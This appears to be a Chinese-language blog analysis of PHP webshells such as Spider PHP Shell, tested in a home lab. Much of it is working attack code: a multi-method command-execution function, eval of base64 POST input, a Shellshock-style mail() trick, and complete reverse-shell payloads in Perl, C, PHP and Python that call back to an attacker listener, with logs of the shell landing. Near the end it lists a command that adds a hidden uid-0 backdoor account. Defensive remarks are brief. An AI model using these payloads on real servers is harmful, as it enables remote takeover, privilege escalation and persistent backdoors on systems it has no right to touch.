前言
https://secvery.com/2105.html 黑客常用PHP大马(WebShell)
PHP大馬就是功能較全,支持各種在滲透過程中可能用到的各種功能的大型代碼集合,通常具有文件管理、命令執行、端口掃描、數據庫管理、反彈shell等等的功能
透過解讀大馬的功能,能了解到一些web滲透的手段,進而知道怎麼樣在安全上做防護
Spider PHP Shell (SPS-3.0).php
登入
文件管理
時間
透過 touch() 修改文件的mtime
case "d" : @touch($array[$i],strtotime($inver)); $msg = '修改时间为'.$inver; break;
# ll test.jpg
-rw-r--r--. 1 www www 12218 Nov 4 2020 test.jpg
新增文件
使用 fopen() 、fwrite()寫檔,然後用 touch() 改mtime。當前目錄必須是www 可寫
直接點該文件,可以在網站上打開改文件
該文件的權限是www
# ll newfile.php
-rw-r--r--. 1 www www 26 May 4 2021 newfile.php
新建目錄
使用 mkdir(),建立目錄。當前目錄必須是www 可寫
# ll | grep newdir
drwxr-xr-x. 2 www www 6 Nov 4 19:20 newdir
複製、刪除、屬性、打包(下載)、編輯、改名、上傳、批量上傳
略
執行命令
使用exec、shell_exec、system、passthru、popen去執行命令。所以php.ini中盡量要禁用這些危險函數,以免被webshell執行命令
1 2 3 4 5 6 7 8 9 10 | function Exec_Run( $cmd ) { $res = '' ; if (function_exists( 'exec' )){@ exec ( $cmd , $res ); $res = join( "\n" , $res );} elseif (function_exists( 'shell_exec' )){ $res = @shell_exec( $cmd );} elseif (function_exists( 'system' )){@ob_start();@system( $cmd ); $res = @ob_get_contents();@ob_end_clean();} elseif (function_exists( 'passthru' )){@ob_start();@ passthru ( $cmd ); $res = @ob_get_contents();@ob_end_clean();} elseif (@ is_resource ( $f = @popen( $cmd , "r" ))){ $res = '' ; while (!@ feof ( $f )){ $res .= @ fread ( $f ,1024);}@pclose( $f );} return $res ; } |
掃描端口
使用 fsockopen 去檢測服務器端口有無開放
$fp = @fsockopen($_POST['ip'],$ports[$i],$errno,$errstr,2);
搜索文件
搜索包含文字
使用 readdir 將目錄下所有文件名讀出來,然後用 fread 將文件內容讀出來,最後用stristr 去匹配內容
Linux提權
攻擊機
因為windows的git bash沒有nc這個命令,所以另外準備一台攻擊機(CentOS虛擬機,192.168.1.8)來實作Linux提權。
攻擊機安裝nc
# yum install nc
打開提權所需端口
# firewall-cmd --zone=public --add-port=12388/tcp --permanent
# firewall-cmd --reload
攻擊機監聽shell
# nc -vv -l 12388
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12388
Ncat: Listening on 0.0.0.0:12388
提權
提交表單後就可以獲取靶機上的shell
# nc -vv -l 12388
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12388
Ncat: Listening on 0.0.0.0:12388
Ncat: Connection from 192.168.1.24.
Ncat: Connection from 192.168.1.24:58198.
Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
uid=1000(www) gid=1000(www) groups=1000(www) context=unconfined_u:system_r:initrc_t:s0
pwd
/www/wwwroot/webshell2.bt/Php
whoami
www
hostname -I
192.168.1.24 172.17.0.1
當然還能切root(如果你知道靶機root的密碼)
su -
Password: root_password
whoami
root
pwd
/root
/var/log/secure 拿到www的shell是沒有記錄的,切root和登出root的時候有
Nov 5 04:50:08 localhost su: pam_unix(su-l:session): session opened for user root by (uid=1000)
Nov 5 04:50:16 localhost su: pam_unix(su-l:session): session closed for user root
靶機
可以看到多了一個sh的進程,執行用戶是www(這也是為什麼提權那拿到的shell用戶是www)
# ps aux | grep "\bsh\b"
www 9551 0.0 0.0 11692 1356 ? S 16:10 0:00 sh -c echo "`uname -a`";echo "`id`";/bin/sh
www 9556 0.0 0.0 11692 1360 ? S 16:10 0:00 /bin/sh
有個連線連到攻擊機(192.168.1.8)的nc監聽端口(12388)
# netstat -tlunpa | grep "192.168.1.8"
tcp 0 0 192.168.1.24:58198 192.168.1.8:12388 ESTABLISHED 9550/lynx
9550 是什麼進程?
# ps aux | grep "9550"
www 9550 0.0 0.0 31144 3340 ? S 16:10 0:00 lynx
原理
File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb')
將以下perl腳本寫入 /tmp/spider_bc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #!/usr/bin/perl use Socket; $cmd = "lynx" ; $system = 'echo "`uname -a`";echo "`id`";/bin/sh' ; $0 = $cmd ; $target = $ARGV [0]; $port = $ARGV [1]; $iaddr =inet_aton( $target ) || die ( "Error: $!\n" ); $paddr =sockaddr_in( $port , $iaddr ) || die ( "Error: $!\n" ); $proto = getprotobyname ( 'tcp' ); socket(SOCKET, PF_INET, SOCK_STREAM, $proto ) || die ( "Error: $!\n" ); connect(SOCKET, $paddr ) || die ( "Error: $!\n" ); open(STDIN, ">&SOCKET" ); open(STDOUT, ">&SOCKET" ); open(STDERR, ">&SOCKET" ); system( $system ); close(STDIN); close(STDOUT); close(STDERR); |
然後用PHP執行腳本
Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &')
perl /tmp/spider_bc 192.168.1.8 12388 &
如果是在服務器上用root手動執行該反彈腳本
# perl /tmp/spider_bc 192.168.1.8 12388 &
進程的執行者是root
# ps aux | grep "\bsh\b"
root 28776 0.0 0.0 113288 1396 pts/10 S 15:06 0:00 sh -c echo "`uname -a`";echo "`id`";/bin/sh
root 28781 0.0 0.0 113284 1196 pts/10 S 15:06 0:00 /bin/sh
攻擊機拿到的shell權限也會是root
# nc -vv -l 12388
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12388
Ncat: Listening on 0.0.0.0:12388
Ncat: Connection from 192.168.1.24.
Ncat: Connection from 192.168.1.24:58734.
Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
whoami
root
C語言執行
將以下C代碼寫入 /tmp/angel_bc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | #include <stdio.h> #include <sys/socket.h> #include <netinet/in.h> int main( int argc, char *argv[]) { int fd; struct sockaddr_in sin ; char rms[21]= "rm -f " ; daemon(1,0); sin .sin_family = AF_INET; sin .sin_port = htons( atoi (argv[2])); sin .sin_addr.s_addr = inet_addr(argv[1]); bzero(argv[1], strlen (argv[1])+1+ strlen (argv[2])); fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; if ((connect(fd, ( struct sockaddr *) & sin , sizeof ( struct sockaddr)))<0) { perror ( "[-] connect()" ); exit (0); } strcat (rms, argv[0]); system (rms); dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execl( "/bin/sh" , "sh -i" , NULL); close(fd); } |
然後執行編譯命令
gcc -o /tmp/angel_bc /tmp/angel_bc.c
最後執行
/tmp/angel_bc 192.168.1.8 12388 &
C語言的實現方式在大馬後台沒有成功,因為編譯不出來 /tmp/angel_bc ,在靶機上用root手動執行編譯命令倒是可以
MySQL執行
https://stackoverflow.com/a/54643842 Connect to different port using MySql Command Line Client
如果連docker的mysql時要用127.0.0.1,不能用localhost
MySQL管理
如下圖所見
zjjv
zjjv。 com
代碼基本上被加密了,使用XDebug調試可以慢慢解出來,只是花時間
登入
文件管理
功能基本上和 Spider PHP Shell (SPS-3.0).php 一樣。 (root)用户|组 代表該大馬文件的權限是root(但是執行shell的權限僅是www)
執行PHP腳本
使用的是eval執行
eval(stripslashes(base64_decode($_POST['phpcode'])));
執行SQL、MYSQL操作、端口掃描
功能基本上和Spider PHP Shell (SPS-3.0).php 的 MySQL執行、MySQL管理、掃描端口 一樣。
執行命令
比 Spider PHP Shell 更進化了,多了使用 COM類(windows,未能復現)、proc_open、readlink+putenv(未能復現)的漏洞利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | function Exec_Run( $cmd ) { $res = '' ; if (function_exists( 'exec' )) { @ exec ( $cmd , $res ); $res = join( "\n" , $res ); } elseif (function_exists( 'shell_exec' )) { $res = @shell_exec( $cmd ); } elseif (function_exists( 'system' )) { @ob_start(); @system( $cmd ); $res = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists( 'passthru' )) { @ob_start(); @ passthru ( $cmd ); $res = @ob_get_contents(); @ob_end_clean(); } elseif (@ is_resource ( $f = @popen( $cmd , 'r' ))) { $res = '' ; while (!@ feof ( $f )) { $res .= @ fread ( $f , 1024); } @pclose( $f ); } elseif ( substr (dirname( $_SERVER [ "SCRIPT_FILENAME" ]), 0, 1) != "/" && class_exists ( 'COM' )) { $w = new COM( 'WScript.shell' ); $e = $w -> exec ( $cmd ); $f = $e ->StdOut(); $res = $f ->ReadAll(); } elseif (function_exists( 'proc_open' )) { $length = strcspn ( $cmd , " \t" ); $token = substr ( $cmd , 0, $length ); if (isset( $aliases [ $token ])) $cmd = $aliases [ $token ] . substr ( $cmd , $length ); $p = proc_open( $cmd , array (1 => array ( 'pipe' , 'w' ), 2 => array ( 'pipe' , 'w' )), $io ); while (! feof ( $io [1])) { $res .= htmlspecialchars( fgets ( $io [1]), ENT_COMPAT, 'UTF-8' ); } while (! feof ( $io [2])) { $res .= htmlspecialchars( fgets ( $io [2]), ENT_COMPAT, 'UTF-8' ); } fclose( $io [1]); fclose( $io [2]); proc_close( $p ); } elseif (function_exists( 'mail' )) { if ( strstr ( readlink ( "/bin/sh" ), "bash" ) != FALSE) { $tmp = tempnam( "." , "data" ); putenv( "PHP_LOL=() { x; }; $cmd >$tmp 2>&1" ); mail( "a@127.0.0.1" , "" , "" , "" , "-bv" ); } else $res = "Not vuln (not bash)" ; $output = @implode( '' , @file( $tmp )); @unlink( $tmp ); if ( $output != "" ) $res = $output ; else $res = JmCode( "=4vofIaqtD3ohOvpiOPY0IUp0I3ot8zG" ); } return $res ; } |
反彈提權
和Spider PHP Shell相比除了perl和C的執行方式,多了php和nc的執行方式
php
用 socket_create 和 socket_connect 去連攻擊機監聽的端口,然後用 socket_read 不斷的去等攻擊機下的命令,然後用proc_open在靶機上執行命令,最後用 socket_write 將靶機上執行命令的結果返回給攻擊機
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | if (! extension_loaded ( 'sockets' )) { if ( $system == 'WIN' ) { @dl( 'php_sockets.dll' ) or die ( "Can't load socket" ); } else { @dl( 'sockets.so' ) or die ( "Can't load socket" ); } } if ( $system == "WIN" ) { $env = array ( 'path' => "c:\\windows\\system32" ); } else { $env = array ( 'PATH' => "/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin" ); } $descriptorspec = array (0 => array ( "pipe" , "r" ), 1 => array ( "pipe" , "w" ), 2 => array ( "pipe" , "w" )); $host = $_POST [ 'yourip' ]; $port = $_POST [ 'yourport' ]; $host = gethostbyname ( $host ); $proto = getprotobyname ( "tcp" ); if (( $sock = socket_create(AF_INET, SOCK_STREAM, $proto )) < 0) { die ( "Socket创建失败" ); } if (( $ret = socket_connect( $sock , $host , $port )) < 0) { die ( "连接失败" ); } else { $message = "----------------------PHP反弹连接(www.xxx.com)--------------------\n" ; socket_write( $sock , $message , strlen ( $message )); $cwd = str_replace ( '\\' , '/' , dirname( __FILE__ )); while ( $cmd = socket_read( $sock , 65535, $proto )) { if (trim( strtolower ( $cmd )) == "exit" ) { socket_write( $sock , "Bye\n" ); exit ; } else { $process = proc_open( $cmd , $descriptorspec , $pipes , $cwd , $env ); if ( is_resource ( $process )) { fwrite( $pipes [0], $cmd ); fclose( $pipes [0]); $msg = stream_get_contents( $pipes [1]); socket_write( $sock , $msg , strlen ( $msg )); fclose( $pipes [1]); $msg = stream_get_contents( $pipes [2]); socket_write( $sock , $msg , strlen ( $msg )); $return_value = proc_close( $process ); } } } } |
nc
一樣也是用PHP實現,使用 fsockopen 去連攻擊機監聽的端口,然後用feof不斷的等攻擊機發命令過來,用fgets接收到命令後使用 $message = `$cmd`; 執行命令(` 就是 shell_exec函數),執行後用 fputs 將結果返回攻擊機。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | echo '<div class="actall">' ; $mip = $_POST [ 'yourip' ]; $bport = $_POST [ 'yourport' ]; $fp = fsockopen ( $mip , $bport , $errno , $errstr ); if (! $fp ) { $result = "Error: could not open socket connection" ; } else { fputs ( $fp , "\n*********************************************\n hacking url:http://www.xxx.com is ok! \n*********************************************\n\n" ); while (! feof ( $fp )) { fputs ( $fp , " [root@xxx.com:/root]# " ); $result = fgets ( $fp , 4096); $message = ` $result `; fputs ( $fp , "--> " . $message . "\n" ); } fclose( $fp ); } echo '</div>' ; |
執行方式:php 和 nc(本質上也是使用PHP),連進程中異常的 sh 進程都查不到,因為跑在php-fpm下面,只能從netstat上查到有個異常的連線往外連
# ps aux | grep "\bsh\b"
(無)
# netstat -tlunpa | grep "192.168.1.8"
tcp 0 0 192.168.1.24:58952 192.168.1.8:12388 ESTABLISHED 9623/php-fpm: pool
# ps aux | grep 9623
www 9623 0.0 0.1 248544 8928 ? S 18:06 0:00 php-fpm: pool www
其他大馬
https://www.dismall.com/thread-1726-1-1.html 震惊:从某盗版插件里扒出的木马文件,你在人家面前裸奔
文件管理
基本上功能都大同小異
特殊目錄:Linux-local : /usr/local/
Linux-tmp : /tmp/
Linux-etc : /etc/
反彈SHELL
Python
這個大馬在提權時多了python的連接方式。原理是將以下python代碼寫入 /tmp/t00ls.py
1 2 3 4 5 6 7 8 9 | #!/usr/bin/python # import sys,os,socket,pty s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[ 1 ], int (sys.argv[ 2 ]))) os.dup2(s.fileno(), sys.stdin.fileno()) os.dup2(s.fileno(), sys.stdout.fileno()) os.dup2(s.fileno(), sys.stderr.fileno()) pty.spawn( '/bin/sh' ) |
然後再執行
/usr/bin/python /tmp/t00ls.py 192.168.1.8 12388
執行命令
這邊收集了一些滲透常用命令
Linux-版本集合: id;uname -a;cat /etc/issue;cat /proc/version;lsb_release -a
Linux-添加用户: /usr/sbin/useradd -u 0 -o -g 0 t00ls
Linux-查看用户: cat /etc/passwd
Linux-查看端口: /bin/netstat -tnl
Linux-查看地址: /sbin/ifconfig -a
Linux-查看服务: /sbin/chkconfig --list
Linux-查看进程: /bin/ps -ef
沒有留言:
張貼留言